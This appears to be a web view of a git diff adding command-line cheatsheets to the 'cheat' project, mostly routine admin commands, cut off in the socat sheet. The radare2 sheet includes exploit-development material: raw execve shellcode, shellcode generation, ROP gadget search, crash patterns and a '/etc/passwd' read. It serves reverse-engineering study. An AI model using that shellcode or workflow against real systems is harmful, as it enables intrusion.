# To convert file (iconv.src) from iso-8859-1 to utf-8 and save to
# /tmp/iconv.out
iconv -f iso-8859-1 -t utf-8 iconv.src -o /tmp/iconv.out

5
cheat/cheatsheets/kill Normal file
View File

@ -0,0 +1,5 @@
# Kill a process gracefully
kill -15 <process id>
# Kill a process forcefully
kill -9 <process id>

21
cheat/cheatsheets/lsblk Normal file
View File

@ -0,0 +1,21 @@
# Show all available block devices along with their partitioning schemes
lsblk
# To show SCSI devices:
lsblk --scsi
# To show a specific device
lsblk /dev/sda
# To verify TRIM support:
# Check the values of DISC-GRAN (discard granularity) and DISC-MAX (discard max bytes) columns.
# Non-zero values indicate TRIM support
lsblk --discard
# To featch info about filesystems:
lsblk --fs
# For JSON, LIST or TREE output formats use the following flags:
lsblk --json
lsblk --list
lsblk --tree # default view

View File

@ -38,7 +38,7 @@ This is [an example](http://example.com "Title") inline link.
# image # image
![Alt Text](/path/to/file.png) ![Alt Text](/path/to/file.png)
# emphasis # formatting
*em* _em_ *em* _em_
**strong** __strong__ **strong** __strong__
~~strikethrough~~

22
cheat/cheatsheets/mutt Normal file
View File

@ -0,0 +1,22 @@
# Create new mailbox in IMAP
+ When located in mailbox list (c)
shift + C
# Move multiple messages to folder (bulk operations)
1. Select/tag them with alt+'t'
2. ;s in mail inbox overview for bulk operation
# Deleting / Undeleting all messages in mutt
1. In mutts index, hit D (UPPERCASE D)
2. It will prompt you with “Delete messages matching: “
+ enter this string:
~A
3. It should mark all for deletion!
4. Conversely, you can do the same thing with UPPERCASE U to undelete multiple messages.

17
cheat/cheatsheets/mv Normal file
View File

@ -0,0 +1,17 @@
# Move a file from one place to another
mv ~/Desktop/foo.txt ~/Documents/foo.txt
# Move a file from one place to another and automatically overwrite if the destination file exists
# (This will override any previous -i or -n args)
mv -f ~/Desktop/foo.txt ~/Documents/foo.txt
# Move a file from one place to another but ask before overwriting an existing file
# (This will override any previous -f or -n args)
mv -i ~/Desktop/foo.txt ~/Documents/foo.txt
# Move a file from one place to another but never overwrite anything
# (This will override any previous -f or -i args)
mv -n ~/Desktop/foo.txt ~/Documents/foo.txt
# Move listed files to a directory
mv -t ~/Desktop/ file1 file2 file3

View File

@ -29,3 +29,9 @@ UPDATE tbl_name SET col1 = "example";
# Basic DELETE Statement # Basic DELETE Statement
DELETE FROM tbl_name WHERE user = 'jcole'; DELETE FROM tbl_name WHERE user = 'jcole';
# To check stored procedure
SHOW PROCEDURE STATUS;
# To check stored function
SHOW FUNCTION STATUS;

View File

@ -34,7 +34,10 @@ nmcli dev status
# Add a dynamic ethernet connection - parameters: # Add a dynamic ethernet connection - parameters:
# <name> -- the name of the connection # <name> -- the name of the connection
# <iface_name> -- the name of the interface # <iface_name> -- the name of the interface
ncmli con add type ethernet con-name <name> ifname <iface_name> nmcli con add type ethernet con-name <name> ifname <iface_name>
# Import OpenVPN connection settings from file:
nmcli con import type openvpn file <path_to_ovpn_file>
# Bring up the ethernet connection # Bring up the ethernet connection
nmcli con up <name> nmcli con up <name>

View File

@ -15,6 +15,9 @@ openssl req -text -noout -in server.csr
# To show certificate information for generated certificate # To show certificate information for generated certificate
openssl x509 -text -noout -in server.crt openssl x509 -text -noout -in server.crt
# To get the sha256 fingerprint of a certificate
openssl x509 -in server.crt -noout -sha256 -fingerprint
# To view certificate expiration: # To view certificate expiration:
echo | openssl s_client -connect <hostname>:443 2> /dev/null | \ echo | openssl s_client -connect <hostname>:443 2> /dev/null | \
awk '/-----BEGIN/,/END CERTIFICATE-----/' | \ awk '/-----BEGIN/,/END CERTIFICATE-----/' | \

View File

@ -27,6 +27,9 @@ pacman -Ql <package name> | sed -n -e 's/.*\/bin\///p' | tail -n +2
# To list explicitly installed packages # To list explicitly installed packages
pacman -Qe pacman -Qe
# To list the top-most recent explicitly installed packages (not in the base groups)
expac --timefmt='%Y-%m-%d %T' '%l\t%n' $(comm -23 <(pacman -Qeq|sort) <(pacman -Qqg base base-devel|sort)) | sort -r | head -20
# To list orphan packages (installed as dependencies and not required anymore) # To list orphan packages (installed as dependencies and not required anymore)
pacman -Qdt pacman -Qdt

8
cheat/cheatsheets/perl Normal file
View File

@ -0,0 +1,8 @@
# To view the perl version:
perl -v
# Replace string "\n" to newline
echo -e "foo\nbar\nbaz" | perl -pe 's/\n/\\n/g;'
# Replace newline with multiple line to space
cat test.txt | perl -0pe "s/test1\ntest2/test1 test2/m"

5
cheat/cheatsheets/pgrep Normal file
View File

@ -0,0 +1,5 @@
# Get a list of PIDs matching the pattern
pgrep example
# Kill all PIDs matching the pattern
pgrep -f example | xargs kill

View File

@ -23,5 +23,8 @@ pip list --outdated
# Upgrade all outdated packages, thanks to http://stackoverflow.com/a/3452888 # Upgrade all outdated packages, thanks to http://stackoverflow.com/a/3452888
pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip install -U pip freeze --local | grep -v '^\-e' | cut -d = -f 1 | xargs -n1 pip install -U
# Upgrade outdated packages on latest version of pip
pip list --outdated --format=freeze | cut -d = -f 1 | xargs -n1 pip install -U
# Install specific version of a package # Install specific version of a package
pip install -I SomePackage1==1.1.0 'SomePackage2>=1.0.4' pip install -I SomePackage1==1.1.0 'SomePackage2>=1.0.4'

5
cheat/cheatsheets/pkill Normal file
View File

@ -0,0 +1,5 @@
# To kill a process using it's full process name
pkill <processname>
# To kill a process by it's partial name
pkill -f <string>

26
cheat/cheatsheets/psql Normal file
View File

@ -0,0 +1,26 @@
# psql is the PostgreSQL terminal interface. The following commands were tested on version 9.5.
# Connection options:
# -U username (if not specified current OS user is used).
# -p port.
# -h server hostname/address.
# Connect to a specific database:
psql -U postgres -h serverAddress -d dbName
# Get databases on a server:
psql -U postgres -h serverAddress --list
# Execute sql query and save output to file:
psql -U postgres -d dbName -c 'select * from tableName;' -o fileName
# Execute query and get tabular html output:
psql -U postgres -d dbName -H -c 'select * from tableName;'
# Execute query and save resulting rows to csv file:
psql -U postgres -d dbName -t -A -P fieldsep=',' -c 'select * from tableName;' -o fileName.csv
# Read commands from file:
psql -f fileName
# Restore databases from file:
psql -f fileName.backup postgres

2
cheat/cheatsheets/pwd Normal file
View File

@ -0,0 +1,2 @@
# Show the absolute path of your current working directory on the filesystem
pwd

936
cheat/cheatsheets/r2 Normal file
View File

@ -0,0 +1,936 @@
# Command Line options
-L: List of supported IO plugins
-q: Exit after processing commands
-w: Write mode enabled
-i: Interprets a r2 script
-A: Analize executable at load time (xrefs, etc)
-n: Bare load. Do not load executable info as the entrypoint
-c'cmds': Run r2 and execute commands (eg: r2 -wqc'wx 3c @ main')
-p: Creates a project for the file being analyzed (CC add a comment when opening a file as a project)
-: Opens r2 with the malloc plugin that gives a 512 bytes memory area to play with (size can be changed); Similar to r2 malloc://512
-----------------------------------------------------------------------------------------------------------------------------
# Configuration properties
e: Returs configuration properties
e <property>: Checks a specific property:
e asm.tabs => false
e <property>=<value>: Change property value
e asm.arch=ppc
e? help about a configuration property
e? cmd.stack
# Show comments at right of disassembly if they fit in screen
e asm.cmtright=true
# Shows pseudocode in disassembly. Eg mov eax, str.ok = > eax = str.ok
e asm.pseudo = true
# Display stack and register values on top of disasembly view (visual mode)
e cmd.stack = true
# Solarized theme
eco solarized
# Use UTF-8 to show cool arrows that do not look like crap :)
e scr.utf8 = true
-----------------------------------------------------------------------------------------------------------------------------
# Basic Commands
; Command chaining: x 3;s+3;pi 3;s+3;pxo 4;
| Pipe with shell commands: pd | less
! Run shell commands: !cat /etc/passwd
!! Escapes to shell, run command and pass output to radare buffer
Note: The double exclamation mark tells radare to skip the plugin list to find an IO plugin handling this
command to launch it directly to the shell. A single one will walk through the io plugin list.
` Radare commands: wx `!ragg2 -i exec`
~ grep
~! grep -v
~[n] grep by columns afl~[0]
~:n grep by rows afl~:0
<command>~.. less/more mode
+-------------------------------------------------------------------
pi~mov,eax ; lines with mov or eax
pi~mov&eax ; lines with mov and eax
pi~mov,eax:6 ; 6 first lines with mov or eax
pd 20~call[0]:0 ; grep first column of the first row matching 'call'
+-------------------------------------------------------------------
.cmd Interprets command output
+-------------------------------------------------------------------
is* prints symbolos
.is* interprets output and define the symbols in radare (normally they are already loaded if r2 was not invoked with -n)
+-------------------------------------------------------------------
.. repeats last commands (same as enter \n)
( Used to define and run macros
$ Used to define alias
$$: Resolves to current address
Offsets (@) are absolute, we can use $$ for relative ones @ $$+4
? Evaluate expression
+-------------------------------------------------------------------
[0x00000000]> ? 33 +2
35 0x23 043 0000:0023 35 00100011 35.0 0.000000
Note: | and & need to be escaped
+-------------------------------------------------------------------
?$? Help for variables used in expressions
$$: Here
$s: File size
$b: Block size
$l: Opcode length
$j: When $$ is at a jmp, $j is the address where we are going to jump to
$f: Same for jmp fail address
$m: Opcode memory reference (e.g. mov eax,[0x10] => 0x10)
??? Help for ? command
?i Takes input from stdin. Eg ?i username
?? Result from previous operations
?s from to [step]: Generates sequence from to every
?p: Get physical address for given virtual address
?P: Get virtual address for given physical one
?v Show hex value of math expr
+-------------------------------------------------------------------
?v 0x1625d4ca ^ 0x72ca4247 = 0x64ef968d
?v 0x4141414a - 0x41414140 = 0xa
+-------------------------------------------------------------------
?l str: Returns the length of string
@@: Used for iteractions
+-------------------------------------------------------------------
wx ff @@10 20 30 Writes ff at offsets 10, 20 and 30
wx ff @@`?s 1 10 2` Writes ff at offsets 1, 2 and 3
wx 90 @@ sym.* Writes a nop on every symbol
+-------------------------------------------------------------------
# Positioning
s address: Move cursor to address or symbol
s-5 (5 bytes backwards)
s- undo seek
s+ redo seek
# Block Size
b size: Change block size
# Analyze
aa: Analyze all (fcns + bbs) same that running r2 with -A
ahl <length> <range>: fake opcode length for a range of bytes
ad: Analyze data
ad@rsp (analize the stack)
+ Normal mode
af: Analyze functions
afl: List all functions
number of functions: afl~?
afi: Returns information about the functions we are currently at
afr: Rename function: structure and flag
afr off: Restore function name set by r2
afn: Rename function
afn strlen 0x080483f0
af-: Removes metadata generated by the function analysis
af+: Define a function manually given the start address and length
af+ 0xd6f 403 checker_loop
axt: Returns cross references to (xref to)
axf: Returns cross references from (xref from)
+ Visual mode
d, f: Function analysis
d, u: Remove metadata generated by function analysis
+ Opcode analysis
ao x: Analize x opcodes from current offset
a8 bytes: Analize the instruction represented by specified bytes
# Information
iI: File info
iz: Strings in data section
izz: Strings in the whole binary
iS: Sections
iS~w returns writable sections
is: Symbols
is~FUNC exports
il: Linked libraries
ii: Imports
ie: Entrypoint
+ Mitigations
i~pic : check if the binary has position-independent-code
i~nx : check if the binary has non-executable stack
i~canary : check if the binary has canaries
# Print
psz n @ offset: Print n zero terminated String
px n @ offset: Print hexdump (or just x) of n bytes
pxw n @ offset: Print hexdump of n words
pxw size@offset prints hexadecimal words at address
pd n @ offset: Print n opcodes disassambled
pD n @ offset: Print n bytes disassembled
pi n @ offset: Print n instructions disassambeled (no address, XREFs, etc. just instrunctions)
pdf @ offset: Print disassembled function
pdf~XREF (grep: XREFs)
pdf~call (grep: calls)
pcp n @ offset: Print n bytes in python string output.
pcp 0x20@0x8048550
import struct
buf = struct.pack ("32B",
0x55,0x89,0xe5,0x83,0xzz,0xzz,0xzz,0xzz,0xf0,0x00,0x00,
0x00,0x00,0xc7,0x45,0xf4,0x00,0x00,0x00,0x00,0xeb,0x20,
0xc7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0xzz,0xzz)
p8 n @ offset: Print n bytes (8bits) (no hexdump)
pv: Print file contents as IDA bar and shows metadata for each byte (flags , ...)
pt: Interpret data as dates
pf: Print with format
pf.: list all formats
p=: Print entropy ascii graph
# Write
wx: Write hex values in current offset
wx 123456
wx ff @ 4
wa: Write assembly
wa jnz 0x400d24
wc: Write cache commit
wv: Writes value doing endian conversion and padding to byte
wo[x]: Write result of operation
wow 11223344 @102!10
write looped value from 102 to 102+10
0x00000066 1122 3344 1122 3344 1122 0000 0000 0000
wox 0x90
XOR the current block with 0x90. Equivalent to wox 0x90 $$!$b (write from current position, a whole block)
wox 67 @4!10
XOR from offset 4 to 10 with value 67
wf file: Writes the content of the file at the current address or specified offset (ASCII characters only)
wF file: Writes the content of the file at the current address or specified offset
wt file [sz]: Write to file (from current seek, blocksize or sz bytes)
Eg: Dump ELF files with wt @@ hit0* (after searching for ELF headers: \x7fELF)
woO 41424344 : get the index in the De Bruijn Pattern of the given word
# Flags
f: List flags
f label @ offset: Define a flag `label` at offset
f str.pass_len @ 0x804999c
f -label: Removes flag
fr: Rename flag
fd: Returns position from nearest flag (looking backwards). Eg => entry+21
fs: Show all flag spaces
fs flagspace: Change to the specified flag space
fe loop and create numbered flags:
1. fs demo_flagspace
2. fe demo_flagspace @@=`pdf~jne[1]`
# Yank & Paste
y n: Copies n bytes from current position
y: Shows yank buffer contentent with address and length where each entry was copied from
yp: Prints yank buffer
yy offset: Paste the contents of the yank buffer at the specified offset
yt n target @ source: Yank to. Copy n bytes fromsource to target address
# Visual Mode
q: Exits visual mode
hjkl: move around (or HJKL) (left-down-up-right)
o: go/seek to given offset
?: Help
.: Seek EIP
<enter>: Follow address of the current jump/call
:cmd: Enter radare commands. Eg: x @ esi
d[f?]: Define cursor as a string, data, code, a function, or simply to undefine it.
dr: Rename a function
df: Define a function
v: Get into the visual code analysis menu to edit/look closely at the current function.
p/P: Rotate print (visualization) modes
hex, the hexadecimal view
disasm, the disassembly listing
Use numbers in [] to follow jump
Use "u" to go back
debug, the debugger
words, the word-hexidecimal view
buf, the C-formatted buffer
annotated, the annotated hexdump.
c: Changes to cursor mode or exits the cursor mode
select: Shift+[hjkl]
i: Insert mode
a: assembly inline
A: Assembly in visual mode
y: Copy
Y: Paste
f: Creates a flag where cursor points to
<tab> in the hexdump view to toggle between hex and strings columns
V: View ascii-art basic block graph of current function
W: WebUI
x, X: XREFs to current function. ("u" to go back)
t: track flags (browse symbols, functions..)
gG: Begging or end of file
HUD
_ Show HUD
backspace: Exits HUD
We can add new commands to HUD in: radare2/shlr/hud/main
;[-]cmt: Add/remove comment
m<char>: Define a bookmark
'<char>: Go to previously defined bookmark
# ROP
/R opcodes: Search opcodes
/R pop,pop,ret
/Rl opcodes: Search opcodes and print them in linear way
/Rl jmp eax,call ebx
/a: Search assembly
/a jmp eax
pda: Returns a library of gadgets that can be use. These gadgets are obtained by disassmbling byte per byte instead of obeying to opcode leng
e search.roplen = 4 (change the depth of the search, to speed-up the hunt)
# Searching
/ bytes: Search bytes
\x7fELF
+-------------------------------------------------------------------
push ebp
mov ebp, esp
Opcodes: 5589e5
/x 5589e5
[# ]hits: 54c0f4 < 0x0804c600 hits = 1
0x08049f70 hit0_0 5589e557565383e4f081ec
0x0804c31a hit0_1 5589e583ec18c704246031
0x0804c353 hit0_2 5589e583ec1889442404c7
0x0804c379 hit0_3 5589e583ec08e87cffffff
0x0804c3a2 hit0_4 5589e583ec18c70424302d
pi 5 @@hit* (Print 5 first instructions of every hit)
+-------------------------------------------------------------------
Its possible to run a command for each hit. Use the cmd.hit property:
e cmd.hit=px
# Comments and defines
Cd [size]: Define as data
C- [size]: Define as code
Cs [size]: Define as String
Cf [size]: Define as struct
We can define structures to be shown in the disassmbly
CC: List all comments or add a new comment in console mode
C* Show all comments/metadata
CC <comment> add new comment
CC- remove comment
# Magic files
pm: Print Magic files analysis
[0x00000000]> pm
0x00000000 1 ELF 32-bit LSB executable, Intel 80386, version 1
/m [magicfile]: Search magic number headers with libmagic
search.align
search.from (0 = beginning)
search.to (0 = end)
search.asmstr
search.in
# Yara
:yara scan
# Zignatures
zg <language> <output file>: Generate signatures
eg: zg go go.z
Run the generated script to load signatures
eg: . go.z
z: To show signatures loaded:
+-------------------------------------------------------------------
r2-(pid2)> pd 35 @ 0x08049adb-10
| 0x08049adb call fcn.0805b030
| fcn.0805b030(unk, unk, unk, unk) ; sign.sign.b.sym.fmt.Println
| 0x08049ae0 add esp, 0xc
| 0x08049ae3 call fcn.08095580
+-------------------------------------------------------------------
# Compare Files
r2 -m 0xf0000 /etc/fstab ; Open source file
o /etc/issue ; Open file2 at offset 0
o ; List both files
cc offset: Diff by columns between current offset address and "offset"
# Graphs
+ Basic block graphs
af: Load function metadata
ag $$ > a.dot: Dump basic block graph to file
ag $$ | xdot: Show current function basic block graph
+ Call graphs
af: Load function metadata
agc $$ > b.dot: Dump basic block graph to file
+ Convert .dot in .png
dot -Tpng -o /tmp/b.png b.dot
+ Generate graph for file
radiff2 -g main crackme.bin crackme.bin > /tmp/a
xdot /tmp/a
# Debugger
+ Start r2 in debugger mode. r2 will fork and attach
r2 -d [pid|cmd|ptrace] (if command contains spaces use quotes: r2 -d "ls /")
ptrace://pid (debug backend does not notice, only access to mapped memory)
+ Pass arguments
r2 -d rarun2 program=pwn1 arg1=$(python exploit.py)
+ Pass stdin
r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py)
+ Commands
do: Reopen program
dp: Shows debugged process, child processes and threads
dc: Continue
dcu <address or symbol>: Continue until symbol (sets bp in address, continua until bp and remove bp)
dc[sfcp]: Continue until syscall(eg: write), fork, call, program address (To exit a library)
ds: Step in
dso: Step out
dss: Skip instruction
dr register=value: Change register value
dr(=)?: Show register values
db address: Sets a breakpoint at address
db sym.main add breakpoint into sym.main
db 0x804800 add breakpoint
db -0x804800 remove breakpoint
dsi (conditional step): Eg: "dsi eax==3,ecx>0"
dbt: Shows backtrace
drr: Display in colors and words all the refs from registers or memory
dm: Shows memory map (* indicates current section)
[0xb776c110]> dm
sys 0x08048000 - 0x08062000 s r-x /usr/bin/ls
sys 0x08062000 - 0x08064000 s rw- /usr/bin/ls
sys 0xb776a000 - 0xb776b000 s r-x [vdso]
sys 0xb776b000 * 0xb778b000 s r-x /usr/lib/ld-2.17.so
sys 0xb778b000 - 0xb778d000 s rw- /usr/lib/ld-2.17.so
sys 0xbfe5d000 - 0xbfe7e000 s rw- [stack]
+ To follow child processes in forks (set-follow-fork-mode in gdb)
dcf until a fork happen then use dp to select what process you want to debug.
+ PEDA like details
drr;pd 10@-10;pxr 40@esp
+ Debug in visual mode
toggl breakpoints with F2
single-step with F7 (s)
step-over with F8 (S)
continue with F9
# WebGUI
=h: Start the server
=H: Start server and browser
# rax2 - Base Conversion
-e: Change endian
-k: random ASCII art to represent a number/hash. Similar to how SSH represents keys
-s: ASCII to hex
rax2 -S hola (from string to hex)
rax2 -s 686f6c61 (from hex to string)
-S: binary to hex (for files)
-N: pack an integer
rax2 -N 0x1234 # \x34\x12\x00\x00
# rahash2 - Entropy, hashes and checksums
-a: Specify the algorithm
-b XXX: Block size
-B: Print all blocks
-a entropy: Show file entropy or entropy per block (-B -b 512 -a entropy)
+ Rot13 with rahash2
rahash2 -E rot -S s:13 -s Hello\n
# radiff2 - File diffing
-s: Calculate text distance from two files.
-d: Delta diffing (For files with different sizes. Its not byte per byte)
-C: Code diffing (instead of data)
+-------------------------------------------------------------------
Diff original and patched on x86_32, using graphdiff algorithm
radiff2 -a x86 -b32 -C original patched
Show differences between original and patched on x86_32
radiff2 -a x86 -b32 original patched :
+-------------------------------------------------------------------
# rasm2 - Assembly/Disasembly
-L: Supported architectures
-a arch instruction: Sets architecture
rasm2 -a x86 'mov eax,30' => b81e000000
-b tam: Sets block size
-d: Disassembly
rasm2 -d b81e000000 => mov eax, 0x1e
-C: Assembly in C output
rasm2 -C 'mov eax,30' => "\xb8\x1e\x00\x00\x00"
-D: Disassemble showing hexpair and opcode
rasm2 -D b81e0000 => 0x00000000 5 b81e000000 mov eax, 0x1e
-f: Read data from file instead of ARG.
-t: Write data to file
+ Disassemble shellcode from hex stdin
+-------------------------------------------------------------------
echo -n "31c048bbd19d9691d08c97ff48f7db53545f995257545eb03b0f05" | rasm2 -a x86 -b 64 -d -
xor eax, eax
movabs rbx, 0xff978cd091969dd1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
+-------------------------------------------------------------------
# rafind2 - Search
-Z: Look for Zero terminated strings
-s str: Look for specifc string
-X: Hex dump around output
+ Search "/bin/sh" in libc
rafind2 -X -s "/bin/sh" /usr/lib/libc.so.6
# ragg2 - Shellcode generator, C/opcode compiler
P: Generate De Bruijn patterns
ragg2 -P 300 -r
-a arch: Configure architecture
-b bits: Specify architecture bits (32/64)
-i shellcode: Specify shellcode to generate
-e encoder: Specify encoder
+ ragg2-cc: Generate shellcode from c
+ Generate a x86, 32 bits exec shellcode
ragg2 -a x86 -b 32 -i exec
# rabin2 - Executable analysis: symbols, imports, strings
-I: Executable information
-C: Returns classes. Useful to list Java Classes
-l: Dynamic linked libraries
-s: Symbols
-z: Strings
# rarun2 - Launcher to run programs with different environments, args, stdin, permissions, fds
r2 -b 32 -d rarun2 program=pwn1 arg1=$(ragg2 -P 300 -r) : runs pwn1 with a De Bruijn Pattern as first argument, inside radare2's debugger, and force 32 bits
r2 -d rarun2 program=/bin/ls stdin=$(python exploit.py) : runs /bin/ls with the output of exploit.py directed to stdin
# ESIL emulation
1) aei: Initialize ESIL VM
2) aeim: Assign ESIL stack
aeim 0xffffd000 0x1000 stack
3) aeip: Program counter to current seek
4) e io.cache=true: Enable caching read/write of virtual memory (Important if self modifying code)
5) aes: Single stepping in emulation mode
+ Toggle IL representation via O in Visual Mode
# ESIL Linear emulation
Find all references to curr. address using linear esil emulation on all imports.
/re$$@@ sym.imp.*
# ESIL IL Representation
op esil
------------
mov =
mul *
div /
and &
neg !
read []
if ?{
add +
sub -
xor ^
or |
cmp ==
write =[]
+ prefix is %
+ carry from bit x -> %cx
+ borrow from bit x -> %bx
+ zero-flag -> %z
+ parity of dst -> %p
+ sign-flag -> %s
+ overflow-flag -> %o
+ BREAK - Stop parsing and emulate next instruction
+ LOOP - restart emulation of instruction
+ GOTO n - jump to n
+ TODO - stop emulation and eprintf("TDOD %s", ins)
x86 ESIL
------------------------------------------------------
mov eax, ebx ebx,eax,=
jz 0xaabbccdd zf,?{,0xaabbccdd,eip,=,}
cmp ecx,edx edx,ecx,==,%z,zf,=,%b32,cf,=,%p,pf,=,%s,sf,=
push ebp 4,esp,-=ebp,esp,=[4]
+ ESIL Doc
https://github.com/radare/radare2book/blob/master/esil.md
# r2pipe commands
+ Invoke r2pipe script via r2 cmdline
[0x00000000]> #!pipe node script.js
[0x00000000]> #!pipe python script.py
+ Good collection:
https://radare.org/get/r2pipe-nn2015.pdf
https://github.com/jpenalbae/r2-scripts
# Parsing ELF
!!! open with r2 -nn
+ Parse 9 program headers (elf_phdr) from curr. seek plus offset 0x40 with temporary block size 0x200 in less mode (~..)
[0x00000000]> pf 9? (elf_phdr)phdr @ $$+0x40!0x200~..
# pf Templates
+ Generate templates for structs/enums with td command
"td enum elf_class {ELFCLASSNONE=0, ELFCLASS32=1, ELFCLASS64=2};"
https://github.com/Maijin/r2-pf-templates/
+ Cast data @ <addr> to <type> and print it
tp <type> = <address>
# r2scapy
r2 -i r2scapy.py dump.bin
[0x00000000]> scapy DNS 0x81de3c 48
DNS(aa=1L, qr=1L, an=DNSRR(rclass=32769, ttl=120, rrname='flashair.local.', rdata='192.168.0.1', type=1), ad=0L, nscount=0, qdcount=1, ns=None, tc=0L, rd=1L, arcount=0, ar=None, opcode=0L, ra=0L, cd=0L, z=0L, rcode=0L, id=0, ancount=1, qd=DNSQR(qclass=32769, qtype=255, qname='flashair.local.'))
+ generate packets with scapy
>>> from scapy.all import *
>>> sr1(IP(dst="8.8.8.8")/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname="www.thepacketgeek.com")),verbose=0)
# r2m2 -Miasm Intermediate Representation Plugin
+ Assemble and disassemble MIPS32 using rasm2
r2m2$ export R2M2_ARCH=mips32l; rasm2 -a r2m2 'addiu a0, a1, 2' |rasm2 -a r2m2 -d -
ADDIU A0, A1, 0x2
+ Disassemble random MSP430 instructions in r2
r2m2$ R2M2_ARCH=msp430 r2 -a r2m2 -qc 'woR; pd 5' -
0x00000000 07fa and.w R10, R7
0x00000002 47ad dadd.b R13, R7
0x00000004 f05e0778 add.b @R14+, 0x7807(PC)
0x00000008 f46d81ed addc.b @R13+, 0xED81(R4)
0x0000000c 3fdc bis.w @R12+, R15
+ Assemble MIPS32 using rasm2 and display the call graph using r2
r2m2$ R2M2_ARCH=mips32b rasm2 -a r2m2 'j 0x4; nop' -B > j_nop.bin
r2m2$ R2M2_ARCH=mips32b r2 -a r2m2 -qc 'pd 2' j_nop.bin
,=< 0x00000000 0c000001 JAL 0x4
`-> 0x00000004 00000000 NOP
# bin carving with r2
+ Open raw dump
r2 -n dump.bin
+ Searching for magic
[0x00000000]> / \x7fELF
Searching 4 bytes from 0x00000000 to 0x0000002d: 7f 45 4c 46
0x00001340 hit0_0
0x00001744 hit0_1
...
+ Dump 1M with at several hits
[0x00000000]> b 1M
[0x00000000]> wt @@ hit0*
+ Automate it
$ for a in dump.* ; do
sz=`rabin2 -Z $a` # get RBin.filesize
r2 -wnqc"r $sz" $a # resize file
done
http://radare.today/posts/carving-bins/
# r4ge - symbolic execution
+ https://github.com/gast04/r4ge
Usage: https://asciinema.org/a/155856
# r2wiki -Macro for using wiki in commandline
+ https://github.com/securisec/r2wiki
$wiki "query string"

26
cheat/cheatsheets/rcs Normal file
View File

@ -0,0 +1,26 @@
# Initial check-in of file (leaving file active in filesystem)
ci -u <filename>
# Check out with lock
co -l <filename>
# Check in and unlock (leaving file active in filesystem)
ci -u <filename>
# Display version x.y of a file
co -px.y <filename>
# Undo to version x.y (overwrites file active in filesystem with the specified revision)
co -rx.y <filename>
# Diff file active in filesystem and last revision
rcsdiff <filename>
# Diff versions x.y and x.z
rcsdiff -rx.y -rx.z <filename>
# View log of check-ins
rlog <filename>
# Break an RCS lock held by another person on a file
rcs -u <filename>

View File

@ -12,3 +12,6 @@ rsync -auv /src/foo /dest
# Explicitly copy /src/foo to /dest/foo # Explicitly copy /src/foo to /dest/foo
rsync -auv /src/foo/ /dest/foo rsync -auv /src/foo/ /dest/foo
# Copy file from local to remote over ssh with non standard port 1234 to destination folder in remoteuser's home directory
rsync -avz -e "ssh -p1234" /source/file1 remoteuser@X.X.X.X:~/destination/

20
cheat/cheatsheets/scd Normal file
View File

@ -0,0 +1,20 @@
# To index recursively some paths for the very first run:
scd -ar ~/Documents/
# To change to a directory path matching "doc":
scd doc
# To change to a path matching all of "a", "b" and "c":
scd a b c
# To change to a directory path that ends with "ts":
scd "ts$"
# To show selection menu and ranking of 20 most likely directories:
scd -v
# To alias current directory as "xray":
scd --alias=xray
# To jump to a previously defined aliased directory:
scd xray

View File

@ -3,3 +3,6 @@ scp foo.txt user@example.com:remote/dir
# To copy a file from a remote server to your local machine: # To copy a file from a remote server to your local machine:
scp user@example.com:remote/dir/foo.txt local/dir scp user@example.com:remote/dir/foo.txt local/dir
# To scp a file over a SOCKS proxy on localhost and port 9999 (see ssh for tunnel setup):
scp -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" file.txt username@example2.com:/tmp/

View File

@ -15,3 +15,9 @@ sed '/^$/d' file.txt
# To replace newlines in multiple lines # To replace newlines in multiple lines
sed ':a;N;$!ba;s/\n//g' file.txt sed ':a;N;$!ba;s/\n//g' file.txt
# Insert a line before a matching pattern:
sed '/Once upon a time/i\Chapter 1'
# Add a line after a matching pattern:
sed '/happily ever after/a\The end.'

15
cheat/cheatsheets/slurm Normal file
View File

@ -0,0 +1,15 @@
# Submit a new job:
sbatch job.sh
# List all jobs for a user:
squeue -u user_name
# Cancel a job by id or name:
scancel job_id
scancel --name job_name
# List all information for a job:
scontrol show jobid -dd job_id
# Status info for currently running job:
sstat --format=AveCPU,AvePages,AveRSS,AveVMSize,JobID -j job_id --allsteps

98
cheat/cheatsheets/snap Normal file
View File

@ -0,0 +1,98 @@
# To find the `foo` snap:
snap find foo
# To view detailed information about snap `foo`:
snap info foo
# To view all private snaps (must be logged in):
snap find --private
# To install the `foo` snap:
sudo snap install foo
# To install the `foo` snap from the "beta" channel:
sudo snap install foo --channel=beta
# To view installed snaps:
snap list
# To list all revisions of installed snaps:
snap list --all
# To (manually) update all snaps:
sudo snap refresh
# To (manually) update the `foo` snap:
sudo snap refresh foo
# To update the `foo` snap to the "beta" channel:
sudo snap refresh foo --channel=beta
# To revert the `foo` snap to a prior version:
sudo snap revert foo
# To revert the `foo` snap to revision 5:
snap revert foo --revision 5
# To remove the `foo` snap:
sudo snap remove foo
# To log in to snap (must first create account online):
sudo snap login
# To log out of snap:
snap logout
# To view a transaction log summary:
snap changes
# To view details of item 123 in the transaction log:
snap change 123
# To watch transaction 123:
snap watch 123
# To abort transaction 123:
snap abort 123
# To download the `foo` snap (and its assertions) *without* installing it:
snap download foo
# To install the locally-downloaded `foo` snap with assertions:
snap ack foo.assert
snap install foo.snap
# To install the locally-downloaded `foo` snap without assertions:
# NB: this is dangerous, because the integrity of the snap will not be
# verified. You should only do this to test a snap that you are currently
# developing.
snap install --dangerous foo.snap
# To install snap `foo` in "dev mode":
# NB: this is dangerous, and bypasses the snap sandboxing mechanisms
snap install --devmode foo
# To install snap `foo` in "classic mode":
# NB: this is likewise dangerous
snap install --classic foo
# To view available snap interfaces:
snap interfaces
# To connect the `foo:camera` plug to the ubuntu core slot:
snap connect foo:camera :camera
# To disconnect the `foo:camera` plug from the ubuntu core slot:
snap disconnect foo:camera
# To disable the `foo` snap
snap disable foo
# To enable the `foo` snap
snap enable foo
# To set snap `foo`'s `bar` property to 10:
snap set foo bar=10
# To read snap `foo`'s current `bar` property:
snap get foo bar

37
cheat/cheatsheets/socat Normal file
View File

@ -0,0 +1,37 @@
# socat connect to http-server (port 80 on 'butzel.info')
socat TCP4:butzel.info:80 -
# connect to https-server (port 443 on 'butzel.info' with tls)
socat openssl:butzel.info:443 -
